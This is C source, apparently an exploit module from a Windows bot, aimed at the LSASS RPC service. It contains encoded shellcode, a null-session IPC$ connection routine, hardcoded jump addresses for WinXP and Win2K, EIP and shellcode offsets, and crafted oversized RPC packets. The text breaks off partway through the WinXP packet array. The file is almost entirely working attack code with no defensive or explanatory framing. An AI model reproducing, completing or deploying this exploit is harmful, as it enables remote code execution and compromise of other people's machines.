#include "includes.h"
#include "externs.h"

char shellcode[] =
"\xEB\x0F\x58\x31\xC9\x66\xB9\xB0\x01\x80\x30\x80\x40\xE2\xFA\xEB\x05"
"\xE8\xEC\xFF\xFF\xFF\x68\xC7\x80\x80\x80\x59\x89\x75\x2D\x4B\x6D\x7C"
"\xBB\x24\x9A\xF0\x47\x24\x2D\xAE\x69\x65\xC9\x06\xC9\x36\x99\x98\x67"
"\x67\xF9\x46\xF9\x6F\x4E\x60\xE0\x18\x7E\x0A\x8E\x25\x97\x80\xFC\x9F"
"\xF9\x8A\x68\x7B\x17\x7D\x8F\xD7\xD3\xB2\xDF\xB3\xB2\xAE\xC4\xCC\xCC"
"\x80\xF3\xF9\xF3\xF4\xF8\xB3\xB2\xAE\xE5\xF8\xE5\x80\xDB\xD5\x09\x65"
"\xE6\x01\x6C\xB4\x80\x09\x66\xE6\x01\x6C\x8C\x80\x68\x5B\x80\x80\x80"
"\x09\x47\xD7\xE8\x0E\xCE\x8E\x6C\x68\x67\x80\x80\x80\x09\xC5\x88\x0D"
"\xD3\xB0\xD2\x7F\xD5\x88\x09\xC5\x88\x0D\xD3\xBB\x09\xD6\xB4\xEA\x8D"
"\xD9\xE6\x01\x79\x87\x80\xF5\x83\x0B\xFD\x88\x09\x8E\xD7\x7F\xF4\x0B"
"\x7C\x68\x3B\x80\x80\x80\x0B\x8E\x09\xC4\x0E\x7C\x62\x62\xE6\x01\x6C"
"\x10\x81\xD4\xE8\x81\x81\x80\x80\x7F\xD6\x84\xB1\x7F\xD7\xD7\xD7\xD7"
"\xC7\xD7\xC7\xD7\x7F\x96\x09\x43\xB1\x7F\xD7\xD7\xE8\x82\x80\x9E\xE1"
"\x09\x62\xEA\x90\xD2\xD3\x7F\xD6\x88\xD7\xD3\x7F\xD6\x8C\xD7\xD6\xD3"
"\x7F\xD6\x90\x09\x43\xEA\x80\xEA\x86\xEA\x84\xEA\x80\xEA\x87\xE8\x80"
"\x80\x80\x60\x7F\xF6\xB4\x7F\xD6\xA4\x09\x47\x01\x6C\x1C\x7F\x7F\x7F"
"\x09\x65\x0D\xD5\xE4\xEA\x80\xE8\xE4\x80\x80\x80\xD2\xD3\x7F\xD6\x94"
"\xBD\x7F\x7F\x7F\x7F\xF4\x95\xBD\x80\x80\x80\x80\xF4\x8E\x0D\xD5\xE4"
"\xEA\x80\xD1\xD0\xD2\xD7\x7F\xD6\xA8\x6B\x55\xD7\x7F\xD6\xAC\xE8\x85"
"\x80\x80\x80\x7F\xF6\xB4\x7F\xD6\xA0\xB1\x7F\xD7\x7F\xD6\x9C\xD5\xD6"
"\xE4\x21\xB0\x80\x80\x80\x0B\xC0\x8C\x0B\xF0\x9C\x2D\x0B\xE8\x88\x09"
"\x68\xDE\xDD\x42\x84\x80\xD3\xD5\xD6\xD7\x0B\xEC\xA4\x98\x0B\xC5\xBC"
"\x0B\xD4\x85\xF8\x81\x6A\x0B\xCA\x98\x0B\xDA\xA0\x81\x6B\x63\xB5\xC9"
"\x0B\xB4\x0B\x81\x6E\xB1\x7F\x7C\xB1\x40\x2C\xB8\x60\xF4\x87\x41\x4F"
"\x8D\x81\x47\x6B\x72\xBB\xFC\xA4\x94\xF5\x61\x0B\xDA\xA4\x81\x6B\xE6"
"\x0B\x8C\xCB\x0B\xDA\x9C\x81\x6B\x0B\x84\x0B\x81\x68\x69\x82\x80\x80"
"\x80\xB1\x40\x09\x6A\xDF\xDE\xDD\xDB\x42\x84\x80";

bool ConnectViaNullSession(const char *remote_host, LPNETRESOURCEW nr)
{	DWORD result=0;
	WCHAR Ipc[]=L"\\IPC$";
	TCHAR szServer[280]=TEXT("");
	WCHAR Resource[280]=L"\\\\";
	char tmp[20]="";
	unsigned int err = 0;

	MultiByteToWideChar(CP_ACP, 0, (LPCSTR)remote_host, -1, (wchar_t*)szServer, 255);
	wcscat(Resource,(wchar_t*)szServer);
	wcscat(Resource,Ipc);

	nr->dwType      =RESOURCETYPE_ANY;
	nr->lpLocalName =NULL;
	nr->lpRemoteName=Resource;
	nr->lpProvider  =NULL;
	
	result = WNetAddConnection2W(nr,L"",L"",0);
	if(result==5 || result==1219)
		result = WNetAddConnection2W(nr,NULL,NULL,0);

	if(result==5 || result==1219) return false;

	return true;
 }

bool CloseNullSession(const char *remote_host)
{	WCHAR Ipc[]=L"\\IPC$";
	TCHAR szServer[280]=TEXT("");
	WCHAR Resource[280]=L"\\\\";
	MultiByteToWideChar(CP_ACP, 0, (LPCSTR)remote_host, -1, (wchar_t*)szServer, 255);
	wcscat(Resource,(wchar_t*)szServer);
	wcscat(Resource,Ipc);
	while(WNetCancelConnection2W(Resource, 0, false)!=NO_ERROR) { Sleep(2000); }
	return true; }

int Unicodify(const char *szIn, const unsigned long lInLen, char *szOut, const unsigned long lOutLen) {
	// Fail if the buffer is too small
	if(lOutLen<(lInLen*2)) return -1;

	// Loop to add a 0x00 after every value
	for(unsigned long l=0;l<lInLen;l++) {
		szOut[(l*2)]=szIn[l]; szOut[(l*2)+1]='\x00'; }

	return lOutLen; }



/*
	Offsets (call esp/jmp esp):
	==============================

	WinXP Home/Pro SP0-1 English, lsass.dll, call esp:
	-----------------------------------------------------
	0x01004600, 0x01004632
	
	Win2K Pro SP0-4 English, mprapi.dll, jmp/call ebx:
	-----------------------------------------------------
	0x77324321, 0x77324329, 0x77324457, 0x773244a3, 0x773244c2
	0x77324686, 0x773246c9, 0x773246ef, 0x77324700, 0x77325474
	0x77325492, 0x773254b0, 0x77326c5a, 0x77326c62, 0x77326cb6
	0x77326cc4, 0x77326cd3, 0x77326cdb, 0x77327755, 0x773277aa
	0x7732b6ec, 0x7732b70e, 0x7732b76f, 0x7732bbbb, 0x7732bbe9
	0x7732d076, 0x7732d0a2, 0x7732d1ef, 0x7732d2ad, 0x7732e100
	0x7732e186, 0x7732ebb0, 0x7732ebf3, 0x773219db
*/

#define PACKET_SHELLCODE_OFFSET	0x25

#define OFFSET_PACKET_SIZE		0x8			// Size of the full packet
#define OFFSET_PACKET_HINT		0x10		// Size of the data without the rpc header
#define OFFSET_STRING_SIZE1		0x18		// Size of the string (unicode chars)
#define OFFSET_STRING_SIZE2		0x20		// Size of the string (unicode chars)
#define STRING_LENGTH			0x2000		// The length of the string for win2k (bytes)
#define STRING_LENGTH_XP		0x8000		// The length of the string for winxp (bytes)
#define RPC_LENGTH				0x30		// The length of the rpc header
#define OFFSET_CALLCODE_WIN2K	0x1630		// The callcode offset from the start of the string
#define OFFSET_CALLCODE_WINXP	0x7BC		// The callcode offset from the start of the string
#define OFFSET_EIP_WIN2K		0x1638		// The eip offset from the start of the string
#define OFFSET_SHELLCODE_WIN2K	0x1640		// The shellcode offset from the start of the string
#define OFFSET_SHELLCODE_WINXP	0x18		// The shellcode offset from the start of the string
#define ADDR_CALLESP_WINXP		0x01004600	// Address of call esp

unsigned char szPacket2K_CallCode[] = { 0xEB, 0x00, 0x06, 0x00 /* jmp +0x06 */ };
unsigned char szPacketXP_CallCode[] = { 0xE9, 0x3F, 0xF8, 0xFF, 0xFF, /* call -0x7B8 */ };
unsigned char szOffsetCallEbxWin2K[] = { 0x21, 0x00, 0x43, 0x00, 0x32, 0x00, 0x77, 0x00 /* 0x77324321 */ };

unsigned char bindstr[] = {
	0x05, 0x00, 0x0B, 0x03, 0x10, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 
	0xB8, 0x10, 0xB8, 0x10, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 
	0x6A, 0x28, 0x19, 0x39, 0x0C, 0xB1, 0xD0, 0x11, 0x9B, 0xA8, 0x00, 0xC0, 0x4F, 0xD9, 0x2E, 0xF5, 
	0x00, 0x00, 0x00, 0x00, 0x04, 0x5D, 0x88, 0x8A, 0xEB, 0x1C, 0xC9, 0x11, 0x9F, 0xE8, 0x08, 0x00, 
	0x2B, 0x10, 0x48, 0x60, 0x02, 0x00, 0x00, 0x00
};

unsigned char szPacket2K_Header[] = {
	0x05, 0x00, 0x00, 0x03, 0x10, 0x00, 0x00, 0x00, 0x20, 0x0D, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 
	0x08, 0x0D, 0x00, 0x00, 0x00, 0x00, 0x09, 0x00, 0x19, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x19, 0x04, 0x00, 0x00 };

unsigned char szPacketXP_Header[] = {
	0x05, 0x00, 0x00, 0x03, 0x10, 0x00, 0x00, 0x00, 0x20, 0x15, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
	0x08, 0x15, 0x00, 0x00, 0x00, 0x00, 0x09, 0x00, 0x19, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x19, 0x08, 0x00, 0x00 };

unsigned char szPacket2K_End[] = {
	0xAD, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x43, 0x00, 0x3A, 0x00, 0x5C, 0x00, 0x00, 0x00, 
	0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x43, 0x00, 0x3A, 0x00, 
	0x5C, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 
	0x43, 0x00, 0x3A, 0x00, 0x5C, 0x00, 0x00, 0x00, 0x08, 0x08, 0x79, 0x00, 0x13, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x13, 0x00, 0x00, 0x00, 0x64, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x61, 0x00, 
	0x69, 0x00, 0x6E, 0x00, 0x2E, 0x00, 0x62, 0x00, 0x61, 0x00, 0x73, 0x00, 0x74, 0x00, 0x61, 0x00, 
	0x72, 0x00, 0x74, 0x00, 0x2E, 0x00, 0x6E, 0x00, 0x65, 0x00, 0x74, 0x00, 0x00, 0x00, 0xAD, 0xBA, 
	0x00, 0x00, 0x00, 0x00, 0x50, 0x08, 0x79, 0x00, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x0B, 0x00, 0x00, 0x00, 0x44, 0x00, 0x4F, 0x00, 0x4D, 0x00, 0x41, 0x00, 0x49, 0x00, 0x4E, 0x00, 
	0x5C, 0x00, 0x42, 0x00, 0x4C, 0x00, 0x41, 0x00, 0x00, 0x00, 0xAD, 0xBA, 0x68, 0x6C, 0x13, 0x00, 
	0xB6, 0xF0, 0xBB, 0x63, 0xE5, 0x24, 0x0F, 0x5F, 0xD4, 0x5F, 0x44, 0x44, 0x7B, 0xDF, 0xA2, 0x42, 
	0x1E, 0xDA, 0xC6, 0xBD, 0x4F, 0xF8, 0x6D, 0x2D, 0x7B, 0xCC, 0xBF, 0xFA, 0xDA, 0xF6, 0x71, 0xC0, 
	0x57, 0x99, 0xEB, 0x1A, 0x0B, 0x41, 0xCB, 0x9C, 0xF6, 0x46, 0x98, 0xCA, 0x0C, 0x2E, 0x4F, 0x5D, 
	0xE6, 0xFE, 0x34, 0xFD, 0xE2, 0xBC, 0xD1, 0x72, 0x47, 0x01, 0xE1, 0xF5, 0xAF, 0xDD, 0x60, 0x01, 
	0x6A, 0x27, 0x36, 0xC0, 0xF6, 0x26, 0x8B, 0x98, 0x9C, 0x90, 0x1F, 0x54, 0x83, 0x23, 0x1D, 0x50, 
	0x78, 0xFF, 0xA9, 0xC3, 0x6F, 0xBC, 0xD6, 0xEA, 0xED, 0x7A, 0xC9, 0x15, 0x3E, 0xD3, 0x07, 0x43, 
	0x92, 0x18, 0xA3, 0x43, 0xB7, 0x84, 0x70, 0x26, 0x91, 0x99, 0x10, 0xAC, 0xFB, 0x6A, 0x3F, 0x37, 
	0xF6, 0xFA, 0xA8, 0xA7, 0x32, 0x02, 0x3A, 0x32, 0x7B, 0xC4, 0x22, 0x38, 0x37, 0x2F, 0x08, 0x2D, 
	0xB3, 0xFB, 0xD8, 0x16, 0x03, 0xAB, 0xC5, 0xAC, 0xB7, 0xD2, 0x9E, 0x5C, 0x28, 0xAB, 0x7E, 0x8E, 
	0xF5, 0x54, 0xA3, 0xBF, 0xF0, 0x1E, 0x93, 0x06, 0x37, 0xFC, 0xD0, 0x1C, 0xB2, 0xB6, 0xD5, 0x23, 
	0x5B, 0xB3, 0x64, 0xE7, 0xD4, 0x3B, 0x11, 0xE9, 0x1F, 0xBD, 0xC8, 0xF5, 0x96, 0x66, 0x40, 0x47, 
	0xD8, 0xC7, 0xC2, 0x25, 0xF5, 0x56, 0xD7, 0x58, 0xE6, 0xB1, 0x41, 0x9C, 0x45, 0x85, 0xB8, 0x15, 
	0x55, 0xCF, 0x3E, 0x58, 0x99, 0x1B, 0xEF, 0xE2, 0x79, 0xE4, 0xAF, 0xA1, 0xB9, 0xF5, 0xC4, 0xB1, 
	0xAD, 0x5B, 0xDF, 0x06, 0xCB, 0x0F, 0x14, 0xF7, 0x6F, 0x00, 0xC3, 0xAE, 0x50, 0xF4, 0xAF, 0xC3, 
	0x20, 0xBE, 0x89, 0x9B, 0x9B, 0x1D, 0xB5, 0x08, 0x2F, 0x90, 0x9C, 0xA2, 0x93, 0xB5, 0x99, 0xEB, 
	0xD3, 0x0A, 0xB4, 0x84, 0xBD, 0x65, 0x47, 0xC1, 0xF9, 0xDC, 0xD5, 0x58, 0xB3, 0x4F, 0x51, 0x18, 
	0x05, 0x1F, 0xB7, 0x64, 0x5F, 0x66, 0x50, 0x2E, 0x7D, 0x4F, 0x3A, 0x40, 0x32, 0xFD, 0x8E, 0x04, 
	0xA2, 0xCA, 0x48, 0xD0, 0xEC, 0xE8, 0x70, 0xBE, 0x68, 0x1C, 0x32, 0x20, 0xF2, 0xC1, 0xE2, 0xA9, 
	0x20, 0x2C, 0x43, 0xF0, 0xD8, 0xAF, 0xEF, 0x81, 0x2A, 0xAD, 0x57, 0x04, 0x30, 0x39, 0xF6, 0x45, 
	0xBB, 0xAC, 0x01, 0x97, 0xD4, 0x54, 0xBF, 0x66, 0xDF, 0x16, 0x29, 0x01, 0x67, 0x4B, 0xB8, 0xA3, 
	0x6A, 0x85, 0x42, 0x2B, 0x4D, 0xA0, 0x9B, 0x0C, 0xFB, 0xB6, 0x7C, 0xC5, 0xBD, 0x81, 0x3E, 0x1A, 
	0x74, 0xD9, 0xDF, 0x13, 0x4B, 0x58, 0x98, 0x05, 0xCF, 0xEA, 0x61, 0xFF, 0xEB, 0x9C, 0x86, 0x78, 
	0xEC, 0x3F, 0x39, 0x38, 0xFD, 0x03, 0x88, 0x7D, 0xC5, 0x8B, 0x2D, 0x36, 0x15, 0x16, 0x1B, 0xE8, 
	0x94, 0x3C, 0xE9, 0x0B, 0x89, 0x10, 0x99, 0xE6, 0x14, 0x11, 0x4F, 0xC5, 0xF8, 0x02, 0xB8, 0xA1, 
	0x95, 0xB1, 0x58, 0xCF, 0x2B, 0xF6, 0xB2, 0x17, 0x3E, 0x3F, 0x65, 0x48, 0xDE, 0xE2, 0xAE, 0x4D, 
	0xE7, 0xB8, 0x91, 0xDE, 0xFA, 0xBF, 0x3C, 0x46, 0xE6, 0x00, 0xA4, 0x40, 0x7E, 0xA3, 0x35, 0xDE, 
	0xA1, 0xA0, 0x02, 0xF9, 0xEB, 0x15, 0x30, 0x4A, 0x7A, 0x02, 0x38, 0xE9, 0x2D, 0x3A, 0xF3, 0x18, 
	0x2C, 0x94, 0x13, 0x47, 0xF7, 0x35, 0xA7, 0x49, 0x37, 0xA0, 0x98, 0x1B, 0xAA, 0xBF, 0xF5, 0x8B, 
	0x02, 0xE3, 0xF4, 0x44, 0x54, 0x6A, 0x85, 0x91, 0x8D, 0xBF, 0x0C, 0xE4, 0x4C, 0xC2, 0x7F, 0x67, 
	0x39, 0x82, 0x66, 0x4B, 0x0E, 0x4B, 0x34, 0x4C, 0xA8, 0xAC, 0x0A, 0x0F, 0x11, 0x51, 0x7B, 0x3E, 
	0x5A, 0xA3, 0xFB, 0x26, 0x46, 0xF2, 0x84, 0xAF, 0x3B, 0x6D, 0x00, 0x4A, 0x77, 0x81, 0x09, 0x70, 
	0xDB, 0xB7, 0xF5, 0xEC, 0xEF, 0xA2, 0xF8, 0x28, 0x03, 0x11, 0xAD, 0x93, 0x3D, 0x1D, 0xAC, 0xD6, 
	0xC3, 0x4F, 0xFA, 0xEF, 0x82, 0x73, 0xCA, 0xD0, 0xB7, 0x07, 0x06, 0x1B, 0x90, 0x6E, 0x13, 0x00, 
	0xB6, 0xF0, 0xBB, 0x63, 0xE5, 0x24, 0x0F, 0x5F, 0xB5, 0x5A, 0xF2, 0x29, 0x28, 0xEA, 0x70, 0xAC, 
	0x08, 0x9F, 0x80, 0xBB, 0x92, 0x7E, 0x3C, 0x25, 0xF4, 0xE2, 0xBF, 0x8A, 0x57, 0x91, 0xF1, 0xC0, 
	0x8A, 0xD2, 0x01, 0x4F, 0x3A, 0x42, 0xEE, 0x70, 0x55, 0xC3, 0x75, 0x4C, 0x0C, 0x07, 0xFF, 0x46, 
	0xA8, 0xDF, 0xA9, 0x19, 0x45, 0x68, 0xD0, 0x72, 0x71, 0x01, 0xE1, 0x22, 0xAF, 0xDD, 0x88, 0xA1, 
	0xE4, 0x9C, 0x71, 0xC0, 0xF6, 0x15, 0xF0, 0x09, 0x11, 0x89, 0x1F, 0x0A, 0x83, 0x53, 0x1D, 0x50, 
	0x4E, 0x6C, 0x09, 0x64, 0x6F, 0xBC, 0xAE, 0xEA, 0x57, 0x3F, 0xB4, 0x15, 0x3E, 0xD3, 0x07, 0x43, 
	0x92, 0xED, 0x17, 0x5E, 0xB7, 0x84, 0x73, 0x26, 0x91, 0x36, 0x09, 0xFC, 0xFB, 0x92, 0x8A, 0x34, 
	0xEA, 0xFA, 0xA8, 0xA7, 0x32, 0xBB, 0x35, 0x32, 0x7B, 0xC4, 0x2A, 0x28, 0x37, 0x2F, 0x08, 0x2D, 
	0xB3, 0xFB, 0xD8, 0x16, 0xDB, 0xAB, 0xC5, 0xAC, 0xB7, 0x03, 0x0B, 0x5C, 0xD9, 0xAB, 0x7E, 0x8E, 
	0xF5, 0x54, 0xA3, 0xBF, 0xF0, 0x1E, 0x5C, 0x14, 0x37, 0xFC, 0xFB, 0x1C, 0xB2, 0xB6, 0xD5, 0x90, 
	0xBE, 0xB3, 0x64, 0xE7, 0xD4, 0xA1, 0x11, 0xE9, 0x1F, 0xBD, 0xC8, 0xF5, 0x96, 0x66, 0x40, 0x47, 
	0xD8, 0x8B, 0x8D, 0x25, 0xF5, 0x56, 0xD7, 0x58, 0xE6, 0xB1, 0x41, 0x9C, 0x03, 0x46, 0x70, 0x15, 
	0x55, 0xCF, 0x3E, 0x58, 0x99, 0x1B, 0xEF, 0xE2, 0x15, 0xE4, 0xAF, 0xA1, 0xFE, 0xF5, 0xC4, 0xB1, 
	0xAD, 0x5B, 0xDF, 0x06, 0xCB, 0x0F, 0x14, 0xF7, 0x6F, 0x00, 0xC3, 0xAE, 0x50, 0xAA, 0xAF, 0xC3, 
	0x20, 0xBE, 0xD2, 0x9B, 0x9B, 0x1D, 0xB5, 0x08, 0x2F, 0x90, 0x9C, 0xA2, 0x8A, 0xB5, 0x99, 0xEB, 
	0xD3, 0x0A, 0xB4, 0x84, 0x6D, 0x65, 0x47, 0xC1, 0xF9, 0xDC, 0xD5, 0x58, 0x2E, 0x81, 0x51, 0x18, 
	0x05, 0x8B, 0xB7, 0x64, 0x5F, 0x66, 0x50, 0xCD, 0x7D, 0x4F, 0x3A, 0x40, 0x32, 0xFD, 0x8E, 0x04, 
	0xA2, 0xCA, 0x48, 0xD0, 0x48, 0xE8, 0x70, 0x91, 0x21, 0x1C, 0x32, 0x20, 0xF2, 0xC1, 0xE2, 0xA9, 
	0xC3, 0x2C, 0x43, 0xF0, 0xD8, 0xAF, 0xEF, 0x81, 0x2A, 0xAD, 0x57, 0x04, 0x30, 0x39, 0xF6, 0x45, 
	0xBB, 0xAC, 0x9A, 0x97, 0xD4, 0x54, 0xBF, 0xE8, 0xDF, 0x16, 0x29, 0xB3, 0xDA, 0x4B, 0xB8, 0xA3, 
	0x6A, 0x85, 0x42, 0x2B, 0x4D, 0xA0, 0x9B, 0x7E, 0xFB, 0xB6, 0xD7, 0xC5, 0xBD, 0xAB, 0x3E, 0x1A, 
	0x74, 0xD9, 0xDF, 0x13, 0x4B, 0x58, 0x98, 0x05, 0xCF, 0xEA, 0x61, 0xFF, 0xEB, 0x9C, 0x86, 0x78, 
	0xEC, 0x3F, 0x39, 0x38, 0xFD, 0x03, 0x88, 0x7D, 0xC5, 0x8B, 0x2D, 0x36, 0x15, 0x16, 0x1B, 0xE8, 
	0x94, 0xBE, 0xE9, 0x0B, 0x89, 0x10, 0x99, 0xE6, 0x14, 0x11, 0x4F, 0xC5, 0xF8, 0x02, 0xB8, 0xA1, 
	0x95, 0xB1, 0x58, 0xCF, 0x2B, 0xF6, 0xB2, 0x17, 0x3E, 0x3F, 0x65, 0x18, 0xDE, 0xE2, 0xAD, 0x4D, 
	0xE7, 0xB8, 0x91, 0xDE, 0xFA, 0xBF, 0x3C, 0x46, 0xE6, 0x00, 0xA4, 0x40, 0x7E, 0xA3, 0x35, 0xDE, 
	0xA1, 0xA0, 0xDC, 0xF9, 0xEB, 0x15, 0x30, 0xFD, 0x7A, 0x02, 0x38, 0xE9, 0x2D, 0x3A, 0xF3, 0x18, 
	0x2C, 0x94, 0x13, 0x47, 0xF7, 0x64, 0xA7, 0x49, 0x37, 0xA0, 0x98, 0x1B, 0xAA, 0xBF, 0xF5, 0x8B, 
	0x02, 0xE3, 0xF4, 0x44, 0x54, 0x6A, 0x32, 0x91, 0x8D, 0xBF, 0x0C, 0xE4, 0x4C, 0xC2, 0x7F, 0x67, 
	0x39, 0x82, 0x66, 0x4B, 0x0E, 0x4B, 0x34, 0x4C, 0xA8, 0xAC, 0x0A, 0x0F, 0x11, 0x51, 0x7B, 0x3E, 
	0x5A, 0xA3, 0xFB, 0x26, 0x46, 0xF2, 0x84, 0xAF, 0x3B, 0x6D, 0x00, 0x4A, 0x77, 0x81, 0x09, 0x70, 
	0xDB, 0xB7, 0xF5, 0xEC, 0xEF, 0xA2, 0xF8, 0x28, 0x03, 0x11, 0xAD, 0xB8, 0x3D, 0x1D, 0xAC, 0xD6, 
	0xC3, 0x4F, 0xFA, 0xEF, 0x82, 0x73, 0xCA, 0xD0, 0xB7, 0x07, 0x06, 0x1B, 0xC0, 0x08, 0x00, 0x00 };

unsigned char szPacketXP_End[] = {
	0xF0, 0x00, 0xAD, 0x00, 0xBA, 0x00, 0x0D, 0x00, 0xF0, 0x00, 
	0xAD, 0x00, 0xBA, 0x00, 0x0D, 0x00, 0xF0, 0x00, 0xAD, 0x00, 0xBA, 0x00, 0x0D, 0x00, 0xF0, 0x00, 
	0xAD, 0x00, 0xBA, 0x00, 0xAB, 0x00, 0xAB, 0x00, 0xAB, 0x00, 0xAB, 0x00, 0xAB, 0x00, 0xAB, 0x00, 
	0xAB, 0x00, 0xAB, 0x00, 0x00, 0x00, 0xAD, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x43, 0x00, 0x3A, 0x00, 0x5C, 0x00, 0x00, 0x00, 
	0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x43, 0x00, 0x3A, 0x00, 
	0x5C, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 
	0x43, 0x00, 0x3A, 0x00, 0x5C, 0x00, 0x00, 0x00, 0x50, 0x1F, 0x79, 0x00, 0x13, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x13, 0x00, 0x00, 0x00, 0x64, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x61, 0x00, 
	0x69, 0x00, 0x6E, 0x00, 0x2E, 0x00, 0x62, 0x00, 0x61, 0x00, 0x73, 0x00, 0x74, 0x00, 0x61, 0x00, 
	0x72, 0x00, 0x74, 0x00, 0x2E, 0x00, 0x6E, 0x00, 0x65, 0x00, 0x74, 0x00, 0x00, 0x00, 0xAD, 0xBA, 
	0x00, 0x00, 0x00, 0x00, 0x98, 0x1F, 0x79, 0x00, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x0B, 0x00, 0x00, 0x00, 0x44, 0x00, 0x4F, 0x00, 0x4D, 0x00, 0x41, 0x00, 0x49, 0x00, 0x4E, 0x00, 
	0x5C, 0x00, 0x42, 0x00, 0x4C, 0x00, 0x41, 0x00, 0x00, 0x00, 0xAD, 0xBA, 0x68, 0x6C, 0x13, 0x00, 
	0xF8, 0x6F, 0xB6, 0x71, 0x08, 0x78, 0x1D, 0xB8, 0x06, 0x79, 0x05, 0x41, 0x1B, 0x68, 0x8F, 0x31, 
	0x19, 0xA5, 0x30, 0xAE, 0xF1, 0x8E, 0x2D, 0x0E, 0xA2, 0xFE, 0x59, 0xAE, 0x0B, 0xE1, 0x2F, 0xE9, 
	0x68, 0xF6, 0x2B, 0xE2, 0xBB, 0x3D, 0x79, 0x06, 0xFE, 0xC9, 0x8F, 0x29, 0xBC, 0x10, 0x21, 0xC2, 
	0x80, 0x7A, 0xC8, 0xD2, 0x21, 0xAE, 0x0E, 0xB5, 0xB6, 0x4B, 0xF5, 0xDB, 0x41, 0x63, 0x4F, 0xCD, 
	0x3D, 0x50, 0x49, 0xEC, 0xB2, 0x16, 0x79, 0x16, 0xE6, 0x62, 0x54, 0x69, 0x06, 0x48, 0xAD, 0x91, 
	0xA4, 0x18, 0x40, 0x65, 0x47, 0x65, 0x0C, 0x32, 0x51, 0x9C, 0x3F, 0x03, 0x18, 0x89, 0x73, 0xCA, 
	0xCF, 0xA8, 0x4E, 0xAF, 0x44, 0x45, 0x1A, 0x5E, 0x74, 0x45, 0x59, 0x35, 0xA2, 0x2A, 0xC7, 0xE7, 
	0x12, 0xB3, 0x9B, 0x2D, 0x0D, 0x25, 0x9A, 0xD4, 0x72, 0x9F, 0x0B, 0x80, 0x63, 0xCD, 0x31, 0xDB, 
	0x88, 0xB4, 0xA7, 0xF7, 0xFF, 0xFB, 0xBE, 0xB7, 0x52, 0x8B, 0x98, 0x0F, 0x4E, 0xE2, 0xC6, 0x94, 
	0x3F, 0x7E, 0xC2, 0x7A, 0xBA, 0xA0, 0x69, 0xAC, 0x3E, 0x8F, 0x45, 0x6D, 0x70, 0x32, 0xFC, 0x1D, 
	0xFA, 0xFF, 0x6E, 0x5D, 0xF7, 0x2F, 0x4F, 0xDF, 0x4C, 0x97, 0x5E, 0xD5, 0x6F, 0x2A, 0x36, 0xF7, 
	0x97, 0x35, 0xF2, 0x35, 0xC5, 0x0E, 0x6B, 0x8A, 0xD2, 0x24, 0x62, 0xED, 0xD5, 0xFE, 0xC6, 0xB4, 
	0x5B, 0x3D, 0xF8, 0x93, 0xA6, 0x51, 0xCD, 0xB7, 0xBE, 0xEA, 0x3B, 0x25, 0x3D, 0x85, 0x2E, 0xEA, 
	0x4C, 0x7B, 0x5E, 0x54, 0x65, 0xB4, 0xD4, 0x5D, 0x04, 0x63, 0x9A, 0x11, 0x8D, 0x0E, 0x16, 0x9C, 
	0x52, 0x51, 0x3A, 0x7A, 0x71, 0x1F, 0x5C, 0xE5, 0x7E, 0xB7, 0xBD, 0xAE, 0x53, 0xE6, 0xB9, 0xD3, 
	0x26, 0x1A, 0x72, 0xD2, 0xEE, 0x24, 0x79, 0xE9, 0x90, 0xD5, 0x6B, 0x05, 0x3C, 0x53, 0x19, 0x81, 
	0x02, 0xAF, 0x14, 0x35, 0xC0, 0x72, 0xAB, 0x14, 0xFC, 0x61, 0x3F, 0x0F, 0xB9, 0xF2, 0xC0, 0x26, 
	0xDE, 0x93, 0x37, 0x6F, 0x79, 0x01, 0x52, 0x34, 0xDA, 0xD7, 0x1D, 0x31, 0x15, 0xD8, 0x27, 0xE1, 
	0x43, 0xD1, 0xB9, 0x5C, 0xCA, 0xC9, 0x41, 0x4E, 0x90, 0x0C, 0x6B, 0xD0, 0xCA, 0x68, 0xF1, 0x54, 
	0xDF, 0xDF, 0xE0, 0x9A, 0x2E, 0xFF, 0xE2, 0x18, 0x99, 0xF1, 0x7A, 0xF7, 0xB2, 0x89, 0x09, 0x8D, 
	0x50, 0x6E, 0x04, 0x47, 0x3B, 0x23, 0xAB, 0x29, 0xF4, 0x91, 0xA2, 0x7B, 0x11, 0x76, 0xDD, 0x57, 
	0x9B, 0xD0, 0xC9, 0x18, 0x1B, 0x89, 0x47, 0x1D, 0x93, 0xF4, 0x92, 0x31, 0x24, 0xB2, 0x2D, 0x1C, 
	0x9B, 0xD5, 0xA5, 0x2C, 0xE0, 0x85, 0x0E, 0x5C, 0xBC, 0xC9, 0x0D, 0x99, 0x1E, 0x39, 0x07, 0x24, 
	0xB6, 0x78, 0xA4, 0x97, 0x04, 0xDE, 0x7D, 0x93, 0x62, 0x48, 0x5A, 0xE0, 0xA0, 0x6E, 0xF7, 0xAF, 
	0xA5, 0xCB, 0x95, 0x47, 0x10, 0x68, 0x3D, 0x83, 0x4C, 0xF9, 0x5D, 0xA0, 0xEA, 0x1B, 0x9A, 0x4B, 
